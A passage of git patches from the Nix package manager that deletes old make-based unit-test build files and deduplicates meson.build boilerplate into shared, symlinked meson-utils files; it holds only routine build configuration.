-libflake-tests_NAME := libnixflake-tests
-
-libflake-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libflake-tests.xml
-
-libflake-tests_DIR := $(d)
-
-ifeq ($(INSTALL_UNIT_TESTS), yes)
-  libflake-tests_INSTALL_DIR := $(checkbindir)
-else
-  libflake-tests_INSTALL_DIR :=
-endif
-
-libflake-tests_SOURCES := \
-    $(wildcard $(d)/*.cc) \
-    $(wildcard $(d)/value/*.cc) \
-    $(wildcard $(d)/flake/*.cc)
-
-libflake-tests_EXTRA_INCLUDES = \
-    -I tests/unit/libflake-support \
-    -I tests/unit/libstore-support \
-    -I tests/unit/libutil-support \
-    $(INCLUDE_libflake) \
-    $(INCLUDE_libexpr) \
-    $(INCLUDE_libfetchers) \
-    $(INCLUDE_libstore) \
-    $(INCLUDE_libutil) \
-
-libflake-tests_CXXFLAGS += $(libflake-tests_EXTRA_INCLUDES)
-
-libflake-tests_LIBS = \
-    libexpr-test-support libstore-test-support libutil-test-support \
-    libflake libexpr libfetchers libstore libutil
-
-libflake-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock
-
-ifdef HOST_WINDOWS
-  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
-  libflake-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
-endif
diff --git a/tests/unit/libstore-support/local.mk b/tests/unit/libstore-support/local.mk
deleted file mode 100644
index 56dedd825d8..00000000000
--- a/tests/unit/libstore-support/local.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-libraries += libstore-test-support
-
-libstore-test-support_NAME = libnixstore-test-support
-
-libstore-test-support_DIR := $(d)
-
-ifeq ($(INSTALL_UNIT_TESTS), yes)
-  libstore-test-support_INSTALL_DIR := $(checklibdir)
-else
-  libstore-test-support_INSTALL_DIR :=
-endif
-
-libstore-test-support_SOURCES := $(wildcard $(d)/tests/*.cc)
-
-libstore-test-support_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES)
-
-libstore-test-support_LIBS = \
-    libutil-test-support \
-    libstore libutil
-
-libstore-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck
diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk
deleted file mode 100644
index 8d3d6b0afe2..00000000000
--- a/tests/unit/libstore/local.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-check: libstore-tests_RUN
-
-programs += libstore-tests
-
-libstore-tests_NAME = libnixstore-tests
-
-libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libstore-tests.xml
-
-libstore-tests_DIR := $(d)
-
-ifeq ($(INSTALL_UNIT_TESTS), yes)
-  libstore-tests_INSTALL_DIR := $(checkbindir)
-else
-  libstore-tests_INSTALL_DIR :=
-endif
-
-libstore-tests_SOURCES := $(wildcard $(d)/*.cc)
-
-libstore-tests_EXTRA_INCLUDES = \
-    -I tests/unit/libstore-support \
-    -I tests/unit/libutil-support \
-    $(INCLUDE_libstore) \
-    $(INCLUDE_libstorec) \
-    $(INCLUDE_libutil) \
-    $(INCLUDE_libutilc)
-
-libstore-tests_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES)
-
-libstore-tests_LIBS = \
-    libstore-test-support libutil-test-support \
-    libstore libstorec libutil libutilc
-
-libstore-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
-
-ifdef HOST_WINDOWS
-  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
-  libstore-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
-endif
diff --git a/tests/unit/libutil-support/.version b/tests/unit/libutil-support/.version
deleted file mode 120000
index 0df9915bfaa..00000000000
--- a/tests/unit/libutil-support/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../../.version
\ No newline at end of file
diff --git a/tests/unit/libutil-support/local.mk b/tests/unit/libutil-support/local.mk
deleted file mode 100644
index 5f7835c9f61..00000000000
--- a/tests/unit/libutil-support/local.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-libraries += libutil-test-support
-
-libutil-test-support_NAME = libnixutil-test-support
-
-libutil-test-support_DIR := $(d)
-
-ifeq ($(INSTALL_UNIT_TESTS), yes)
-  libutil-test-support_INSTALL_DIR := $(checklibdir)
-else
-  libutil-test-support_INSTALL_DIR :=
-endif
-
-libutil-test-support_SOURCES := $(wildcard $(d)/tests/*.cc)
-
-libutil-test-support_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES)
-
-libutil-test-support_LIBS = libutil
-
-libutil-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck
diff --git a/tests/unit/libutil/.version b/tests/unit/libutil/.version
deleted file mode 100644
index ad2261920c0..00000000000
--- a/tests/unit/libutil/.version
+++ /dev/null
@@ -1 +0,0 @@
-2.24.0
diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk
deleted file mode 100644
index 404f35cf1ac..00000000000
--- a/tests/unit/libutil/local.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-check: libutil-tests_RUN
-
-programs += libutil-tests
-
-libutil-tests_NAME = libnixutil-tests
-
-libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libutil-tests.xml
-
-libutil-tests_DIR := $(d)
-
-ifeq ($(INSTALL_UNIT_TESTS), yes)
-  libutil-tests_INSTALL_DIR := $(checkbindir)
-else
-  libutil-tests_INSTALL_DIR :=
-endif
-
-libutil-tests_SOURCES := $(wildcard $(d)/*.cc)
-
-libutil-tests_EXTRA_INCLUDES = \
-    -I tests/unit/libutil-support \
-    $(INCLUDE_libutil) \
-    $(INCLUDE_libutilc)
-
-libutil-tests_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES)
-
-libutil-tests_LIBS = libutil-test-support libutil libutilc
-
-libutil-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
-
-ifdef HOST_WINDOWS
-  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
-  libutil-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
-endif
-
-check: $(d)/data/git/check-data.sh.test
-
-$(eval $(call run-test,$(d)/data/git/check-data.sh))

From a81e319528c511affd165401c2eadf2554ff5e07 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 12:17:13 -0400
Subject: [PATCH 463/528] Deduplicating

---
 meson-utils/export/meson.build        | 30 ++++++++++++++++
 meson-utils/meson.build               | 36 +++++++++++++++++++
 src/libcmd/meson-utils                |  1 +
 src/libexpr-c/meson-utils             |  1 +
 src/libexpr-c/meson.build             | 45 ++----------------------
 src/libexpr-test-support/meson-utils  |  1 +
 src/libexpr-test-support/meson.build  | 36 ++-----------------
 src/libexpr-test/meson-utils          |  1 +
 src/libexpr-test/meson.build          | 15 +-------
 src/libexpr/meson-utils               |  1 +
 src/libexpr/meson.build               | 39 +++------------------
 src/libfetchers-test/meson-utils      |  1 +
 src/libfetchers-test/meson.build      | 15 +-------
 src/libfetchers/meson-utils           |  1 +
 src/libfetchers/meson.build           | 38 ++++----------------
 src/libflake-test/meson-utils         |  1 +
 src/libflake-test/meson.build         | 15 +-------
 src/libflake/meson-utils              |  1 +
 src/libflake/meson.build              | 38 +++-----------------
 src/libmain/meson-utils               |  1 +
 src/libstore-c/meson-utils            |  1 +
 src/libstore-c/meson.build            | 45 ++----------------------
 src/libstore-test-support/meson-utils |  1 +
 src/libstore-test-support/meson.build | 36 ++-----------------
 src/libstore-test/meson-utils         |  1 +
 src/libstore-test/meson.build         | 15 +-------
 src/libstore/meson-utils              |  1 +
 src/libstore/meson.build              | 37 ++------------------
 src/libutil-c/meson-utils             |  1 +
 src/libutil-c/meson.build             | 45 ++----------------------
 src/libutil-test-support/meson-utils  |  1 +
 src/libutil-test-support/meson.build  | 36 ++-----------------
 src/libutil-test/meson-utils          |  1 +
 src/libutil-test/meson.build          | 15 +-------
 src/libutil/meson-utils               |  1 +
 src/libutil/meson.build               | 50 ++-------------------------
 36 files changed, 128 insertions(+), 476 deletions(-)
 create mode 100644 meson-utils/export/meson.build
 create mode 100644 meson-utils/meson.build
 create mode 120000 src/libcmd/meson-utils
 create mode 120000 src/libexpr-c/meson-utils
 create mode 120000 src/libexpr-test-support/meson-utils
 create mode 120000 src/libexpr-test/meson-utils
 create mode 120000 src/libexpr/meson-utils
 create mode 120000 src/libfetchers-test/meson-utils
 create mode 120000 src/libfetchers/meson-utils
 create mode 120000 src/libflake-test/meson-utils
 create mode 120000 src/libflake/meson-utils
 create mode 120000 src/libmain/meson-utils
 create mode 120000 src/libstore-c/meson-utils
 create mode 120000 src/libstore-test-support/meson-utils
 create mode 120000 src/libstore-test/meson-utils
 create mode 120000 src/libstore/meson-utils
 create mode 120000 src/libutil-c/meson-utils
 create mode 120000 src/libutil-test-support/meson-utils
 create mode 120000 src/libutil-test/meson-utils
 create mode 120000 src/libutil/meson-utils

diff --git a/meson-utils/export/meson.build b/meson-utils/export/meson.build
new file mode 100644
index 00000000000..40f6dcd59a0
--- /dev/null
+++ b/meson-utils/export/meson.build
@@ -0,0 +1,30 @@
+requires_private = []
+foreach dep : deps_private_subproject
+  requires_private  += dep.name()
+endforeach
+requires_private += deps_private
+
+requires_public  = []
+foreach dep : deps_public_subproject
+  requires_public  += dep.name()
+endforeach
+requires_public += deps_public
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires_public,
+  requires_private : requires_private,
+  libraries_private : libraries_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : deps_public_subproject + deps_public,
+))
diff --git a/meson-utils/meson.build b/meson-utils/meson.build
new file mode 100644
index 00000000000..89fbfdb36ea
--- /dev/null
+++ b/meson-utils/meson.build
@@ -0,0 +1,36 @@
+# These are private dependencies with pkg-config files. What private
+# means is that the dependencies are used by the library but they are
+# *not* used (e.g. `#include`-ed) in any installed header file, and only
+# in regular source code (`*.cc`) or private, uninstalled headers. They
+# are thus part of the *implementation* of the library, but not its
+# *interface*.
+#
+# See `man pkg-config` for some details.
+deps_private = [ ]
+
+# These are public dependencies with pkg-config files. Public is the
+# opposite of private: these dependencies are used in installed header
+# files. They are part of the interface (and implementation) of the
+# library.
+#
+# N.B. This concept is mostly unrelated to our own concept of a public
+# (stable) API, for consumption outside of the Nix repository.
+# `libnixutil` is an unstable C++ library, whose public interface is
+# likewise unstable. `libutilc` conversely is a hopefully-soon stable
+# C library, whose public interface --- including public but not private
+# dependencies --- will also likewise soon be stable.
+#
+# N.B. For distributions that care about "ABI" stablity and not just
+# "API" stability, the private dependencies also matter as they can
+# potentially affect the public ABI.
+deps_public = [ ]
+
+# These are subproject deps (type == "internal"). They are other
+# packages in `/src` in this repo. The private vs public distinction is
+# the same as above.
+deps_private_subproject = [ ]
+deps_public_subproject = [ ]
+
+# These are dependencencies without pkg-config files. Ideally they are
+# just private, but they may also be public (e.g. boost).
+deps_other = [ ]
diff --git a/src/libcmd/meson-utils b/src/libcmd/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libcmd/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr-c/meson-utils b/src/libexpr-c/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libexpr-c/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index 5abf2b47727..e2058948481 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -14,20 +14,7 @@ project('nix-expr-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_private_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 configdata = configuration_data()
 
@@ -128,32 +115,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires_private = []
-foreach dep : deps_private_subproject
-  requires_private  += dep.name()
-endforeach
-requires_private += deps_private
+libraries_private = []
 
-requires_public  = []
-foreach dep : deps_public_subproject
-  requires_public  += dep.name()
-endforeach
-requires_public += deps_public
-
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires_public,
-  requires_private : requires_private,
-)
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : [],
-))
+subdir('meson-utils/export')
diff --git a/src/libexpr-test-support/meson-utils b/src/libexpr-test-support/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libexpr-test-support/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build
index 5ab0661ca21..15138744f47 100644
--- a/src/libexpr-test-support/meson.build
+++ b/src/libexpr-test-support/meson.build
@@ -14,17 +14,7 @@ project('nix-expr-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -103,26 +93,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires = []
-foreach dep : deps_public_subproject
-  requires += dep.name()
-endforeach
-requires += deps_public
+libraries_private = []
 
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires,
-  requires_private : deps_private,
-)
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : deps_public_subproject + deps_public,
-))
+subdir('meson-utils/export')
diff --git a/src/libexpr-test/meson-utils b/src/libexpr-test/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libexpr-test/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
index d4b0db51f88..cf6fb477c91 100644
--- a/src/libexpr-test/meson.build
+++ b/src/libexpr-test/meson.build
@@ -14,14 +14,7 @@ project('nix-expr-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_private_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -117,9 +110,3 @@ this_exe = executable(
 )
 
 test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_exe,
-  compile_args : ['-std=c++2a'],
-))
diff --git a/src/libexpr/meson-utils b/src/libexpr/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libexpr/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 34e4dec3bef..401ac66737e 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -14,17 +14,7 @@ project('nix-expr', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 configdata = configuration_data()
 
@@ -186,6 +176,8 @@ sources = files(
   'value/context.cc',
 )
 
+include_dirs = [include_directories('.')]
+
 headers = [config_h] + files(
   'attr-path.hh',
   'attr-set.hh',
@@ -228,27 +220,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires = []
-foreach dep : deps_public_subproject
-  requires += dep.name()
-endforeach
-requires += deps_public
-
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires,
-  requires_private : deps_private,
-  libraries_private : ['-lboost_container', '-lboost_context'],
-)
+libraries_private = []
 
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_directories('.'),
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : deps_public_subproject + deps_public,
-))
+subdir('meson-utils/export')
diff --git a/src/libfetchers-test/meson-utils b/src/libfetchers-test/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libfetchers-test/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build
index be031f592bf..ceadaf22a10 100644
--- a/src/libfetchers-test/meson.build
+++ b/src/libfetchers-test/meson.build
@@ -14,14 +14,7 @@ project('nix-fetchers-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_private_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -101,9 +94,3 @@ this_exe = executable(
 )
 
 test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_exe,
-  compile_args : ['-std=c++2a'],
-))
diff --git a/src/libfetchers/meson-utils b/src/libfetchers/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libfetchers/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index 938ee27d41a..6954358afde 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -14,17 +14,9 @@ project('nix-fetchers', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
+subdir('meson-utils')
 
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+configdata = configuration_data()
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -86,6 +78,8 @@ sources = files(
   'tarball.cc',
 )
 
+include_dirs = [include_directories('.')]
+
 headers = files(
   'attrs.hh',
   'cache.hh',
@@ -109,26 +103,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires = []
-foreach dep : deps_public_subproject
-  requires += dep.name()
-endforeach
-requires += deps_public
-
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires,
-  requires_private : deps_private,
-)
+libraries_private = []
 
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_directories('.'),
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : deps_public_subproject + deps_public,
-))
+subdir('meson-utils/export')
diff --git a/src/libflake-test/meson-utils b/src/libflake-test/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libflake-test/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build
index a9df80885b4..4ae5328002e 100644
--- a/src/libflake-test/meson.build
+++ b/src/libflake-test/meson.build
@@ -14,14 +14,7 @@ project('nix-flake-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_private_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -106,9 +99,3 @@ this_exe = executable(
 )
 
 test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_exe,
-  compile_args : ['-std=c++2a'],
-))
diff --git a/src/libflake/meson-utils b/src/libflake/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libflake/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
index 1c0a3ae77ac..bb85543a2e4 100644
--- a/src/libflake/meson.build
+++ b/src/libflake/meson.build
@@ -14,17 +14,7 @@ project('nix-flake', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -78,6 +68,8 @@ sources = files(
   'flake/lockfile.cc',
 )
 
+include_dirs = [include_directories('.')]
+
 headers = files(
   'flake-settings.hh',
   'flake/flake.hh',
@@ -95,26 +87,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires = []
-foreach dep : deps_public_subproject
-  requires += dep.name()
-endforeach
-requires += deps_public
-
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires,
-  requires_private : deps_private,
-)
+libraries_private = []
 
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_directories('.'),
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : deps_public_subproject + deps_public,
-))
+subdir('meson-utils/export')
diff --git a/src/libmain/meson-utils b/src/libmain/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libmain/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libstore-c/meson-utils b/src/libstore-c/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libstore-c/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index 049dda0e253..48efbae6f9d 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -14,20 +14,7 @@ project('nix-store-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_private_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 configdata = configuration_data()
 
@@ -120,32 +107,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires_private = []
-foreach dep : deps_private_subproject
-  requires_private  += dep.name()
-endforeach
-requires_private += deps_private
+libraries_private = []
 
-requires_public  = []
-foreach dep : deps_public_subproject
-  requires_public  += dep.name()
-endforeach
-requires_public += deps_public
-
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires_public,
-  requires_private : requires_private,
-)
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : [],
-))
+subdir('meson-utils/export')
diff --git a/src/libstore-test-support/meson-utils b/src/libstore-test-support/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libstore-test-support/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build
index 186d9b72aad..3f7104062aa 100644
--- a/src/libstore-test-support/meson.build
+++ b/src/libstore-test-support/meson.build
@@ -14,17 +14,7 @@ project('nix-store-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -105,26 +95,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires = []
-foreach dep : deps_public_subproject
-  requires += dep.name()
-endforeach
-requires += deps_public
+libraries_private = []
 
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires,
-  requires_private : deps_private,
-)
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : deps_public_subproject + deps_public,
-))
+subdir('meson-utils/export')
diff --git a/src/libstore-test/meson-utils b/src/libstore-test/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libstore-test/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index 83d3244d478..ed86a0ea9b5 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -14,14 +14,7 @@ project('nix-store-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_private_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -115,9 +108,3 @@ this_exe = executable(
 )
 
 test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_exe,
-  compile_args : ['-std=c++2a'],
-))
diff --git a/src/libstore/meson-utils b/src/libstore/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libstore/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index 7277eb49d0e..2acd03f2336 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -14,17 +14,7 @@ project('nix-store', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 configdata = configuration_data()
 
@@ -436,27 +426,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires = []
-foreach dep : deps_public_subproject
-  requires += dep.name()
-endforeach
-requires += deps_public
-
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires,
-  requires_private : deps_private,
-  libraries_private : ['-lboost_container'],
-)
+libraries_private = ['-lboost_container']
 
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : deps_public_subproject + deps_public,
-))
+subdir('meson-utils/export')
diff --git a/src/libutil-c/meson-utils b/src/libutil-c/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libutil-c/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
